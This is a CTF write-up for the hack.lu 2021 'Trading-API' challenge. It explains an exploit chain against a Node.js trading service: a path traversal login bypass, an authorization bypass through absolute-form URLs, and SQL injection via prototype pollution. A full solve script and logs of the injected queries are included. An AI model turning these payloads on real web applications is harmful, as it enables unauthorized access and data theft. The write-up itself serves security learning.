> For the complete documentation index, see [llms.txt](https://xenon-2.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://xenon-2.gitbook.io/writeups/ctf-writeups/upsolves/trading-api.md).

# Trading-API

hacklu-ctf 2021

### Bypass Authorization with path traversal

{% tabs %}
{% tab title="authn.js" %}

```javascript
const got = require('got');
const jsonwebtoken = require('jsonwebtoken');
const uuid = require('uuid').v4;
const { getRequired, getOrDefault, getOrGenerate } = require('./config');

const AUTH_SERVICE = getOrDefault('AUTH_SERVICE', 'http://localhost:3001');
const AUTH_API_TOKEN = getRequired('AUTH_API_TOKEN');
const JWT_SECRET = getOrGenerate('JWT_SECRET', uuid);

async function login(req, res) {
    const { username, password } = req.body;
    if (!username || !password) {
        return res.status(400).send('missing username or password');
    }

    try {
        const r = await got.post(`${AUTH_SERVICE}/api/users/${encodeURI(username)}/auth`, {
            headers: { authorization: AUTH_API_TOKEN },
            json: { password },
        });
        if (r.statusCode !== 200) {
            return res.status(401).send('wrong');
        }

        const jwt = jsonwebtoken.sign({ username }, JWT_SECRET);
        return res.json({ token: jwt });
    } catch (error) {
        return res.status(503).end('error');
    }
}

function authn(req, res, next) {
    const authHeader = req.header('authorization');
    if (!authHeader) {
        return res.status(400).send('missing auth token');
    }
    try {
        req.user = jsonwebtoken.verify(authHeader, JWT_SECRET);
        next();
    } catch (error) {
        return res.status(401).send('invalid auth token');
    }
}

module.exports = {
    login,
    authn,
};
```

{% endtab %}

{% tab title="server.js" %}

```javascript
const express = require('express');
const dotenv = require('dotenv');
const morgan = require('morgan');

const getOrDefault = (key, defaultValue) => {
    if (!process.env.hasOwnProperty(key)) {
        return defaultValue;
    }

    return process.env[key];
}
const getRequired = (key) => {
    if (!process.env.hasOwnProperty(key)) {
        console.error(`Missing config: ${key}`);
        process.exit(1);
    }

    return process.env[key];
};

dotenv.config();
const HOST = getOrDefault('HOST', '127.0.0.1');
const PORT = getOrDefault('PORT', '3001');
const TOKEN = getRequired('TOKEN');
const CREDENTIALS = JSON.parse(getOrDefault('CREDENTIALS', '[]'));

const app = express();
app.use(morgan('dev'));
app.use(express.json());

const ensureValidToken = (req, res, next) => {
    const token = req.get('authorization') ?? null;
    if (token === null) {
        return res.status(400).end();
    }
    if (token !== TOKEN) {
        return res.status(401).end();
    }
    next();
};

const checkCredentials = (username, password) => {
    console.log(`Checking ${JSON.stringify(username)}:${JSON.stringify(password)}`);
    return CREDENTIALS.some(({ user, pass }) => username === user && password === pass);
};

app.all('/health', (req, res) => res.send('ok'));

app.post('/api/users/:username/auth', ensureValidToken, async (req, res) => {
    const { username } = req.params;
    const { password } = req.body;

    try {
        if (checkCredentials(username, password)) {
            return res.status(200).end();
        } else {
            return res.status(401).end();
        }
    } catch (error) {
        console.error(error);
        return res.status(500).end();
    }
});

app.listen(PORT, HOST, () => {
    console.log(`Listening on ${HOST}:${PORT}`);
});
```

{% endtab %}
{% endtabs %}

To succesfully bypass the `login` mechanism, we need a status code `200` from the `auth` component.

Looking at how the request is being made, we see the use of `encodeURI` which does not sanitize the input properly.

Therfore we can append `../` sequences to another api call present called `/health`, terminating it with a `#` character, which will allow us to bypass the login altogether.

### Bypassing authz with path normalization

We see the use of a middleware `authz` which is used to determine access to the `/api/priv/*` calls

```javascript
const express = require('express');
const morgan = require('morgan');

const { getOrDefault } = require('./config');
const { login, authn } = require('./authn');
const { authz, Permissions } = require('./authz');
const registerApi = require('./api');

const HOST = getOrDefault('HOST', '127.0.0.1');
const PORT = getOrDefault('PORT', '3000');

async function main() {
    const app = express();
    
    app.use(morgan('dev'));
    app.use(express.json());

    app.all('/health', (req, res) => res.send('ok'));
    
    // authentication
    app.post('/api/auth/login', login);
    app.use(authn);
    
    // authorization
    app.use(authz({
        userPermissions: new Map(Object.entries({
            warrenbuffett69: [Permissions.VERIFIED],
        })),
        routePermissions: [
            [/^\/+api\/+priv\//i, Permissions.VERIFIED],
        ],
    }));
    
    await registerApi(app);
    
    app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
}

main();

```

Looking at `authz`, we see that it is validating `req.url` against the regex.

```javascript
const Permissions = {
    VERIFIED: 'verified',
};

function hasPermission(userPermissions, username, permission) {
    return userPermissions.get(username)?.includes(permission) ?? false;
}

function authz({ userPermissions, routePermissions }) {
    return (req, res, next) => {
        const { username } = req.user;
        for (const [regex, permission] of routePermissions) {
            console.log(req.url);
            if (regex.test(req.url) && !hasPermission(userPermissions, username, permission)) {
                return res.status(403).send('forbidden');
            }
        }
        next();
    };
}

module.exports = {
    Permissions,
    authz,
};

```

When applying a middleware, `req.url` strips the front part of the url, taking only the path.

For example, if a user requests `http://example.com/users/profile?id=123`, then `req.url` would be `/users/profile?id=1.`

But `regex.test` is checking for whether req.url starts with /api/priv so if we send a url like `http://x/api/priv...`, it will resolve to `/api/priv..`. thus failing the regex check, allowing us to bypass the `hasPermission` call.

### SQLi with prototype pollution

Looking at the privileged path `/api/priv/assets/:asset/:action`, we see that we are able to specify the asset variable which leads to `transactions[asset][txId]` but `txId` seems to be randomly generated.

```javascript
app.put('/api/priv/assets/:asset/:action', async (req, res) => {
    const { username } = req.user
    
    const { asset, action } = req.params;
    if (/[^A-z]/.test(asset)) {
        return res.status(400).send('asset name must be letters only');
    }
    const assetTransactions = transactions[asset] ?? (transactions[asset] = {});
    // id is generated here (randomized)
    const txId = generateId();
    // assetTransactions is a map of txId to action transactions[asset][txId] = action 
    assetTransactions[txId] = action;
    
    try {
        await makeTransaction(username, txId, asset, action === 'buy' ? 1 : -1);
        res.json({ id: txId });
    } catch (error) {
        console.error('db error:', error.message);
        res.status(500).send('transaction failed');
    } finally {
        delete assetTransactions[txId];
    }
});

```

If we perform prototype pollution, we will have something like `transactions['__proto__'][randomId] = "Whatever we want"`

Looking at the way our statement is prepared, we see a permissive `sqlEscape` function which allows ASCII printable characters.\
It then set the escaped values to the keys with `replaceAll`.

If we overwrite the property of `txID` and set a placeholder in the query, `replaceAll` will substitute the value of "Whatever we want" in the placeholder, allowing us to perform SQLi.

Let's see that in action.

```bash
POST /api/auth/login 200 41.600 ms - 171
http://z/api/priv/assets/__proto__/%27%29%2C%2831193%2C%20%28SELECT%20%2A%20FROM%20flag%29%2C1%2C1%29--
Escaped parameters: {
  amount: '-1',
  asset: "'__proto__'",
  username: "'../../../../health#?::txId'",
  txId: '108446613024694'
}
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, :asset, -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, :username)
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (:txId, '__proto__', -1, '../../../../health#?::txId')
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?:108446613024694')  
Prepared query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')
Executing transaction query: INSERT INTO transactions (id, asset, amount, username) VALUES (108446613024694, '__proto__', -1, '../../../../health#?'),(31193, (SELECT * FROM flag),1,1)--')
```

We see that it is replacing each of the set keys (E.g :txId, :asset etc) in the `for .. in loop`, and by setting the placeholder `::txId` in our username, we are able to set the placeholder `:108446613024694` whose value has been set earlier here `transactions['__proto__'][randomId] = action`

Piecing together a solve script, we get the flag.

```javascript
import requests
import socket

## Get token
url = "http://localhost:3000/api/auth/login"
data = {
    "username": "../../../../health#?::txId",
    "password": "password"
}
response = requests.post(url, json=data)
token = response.json().get("token")

host = "localhost"
port = 3000
asset = '__proto__'
action = "'),(31193, (SELECT * FROM flag),1,1)--"

# URL encode the action parameter
import urllib.parse
encoded_action = urllib.parse.quote(action, safe='')

# Correct HTTP request format
raw_request = f"""PUT http://z/api/priv/assets/{asset}/{encoded_action} HTTP/1.1\r
Host: {host}:{port}\r
Authorization: {token}\r
Content-Length: 0\r
Connection: close\r
\r
"""
print(raw_request)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.sendall(raw_request.encode())

# Receive full response
response = b""
while True:
    chunk = sock.recv(4096)
    if not chunk:
        break
    response += chunk

sock.close()

print(response.decode())



## Get token
headers = {"Authorization": token}

url = "http://localhost:3000/api/transactions/31193"
response = requests.get(url, headers=headers)
print(response.text)
```
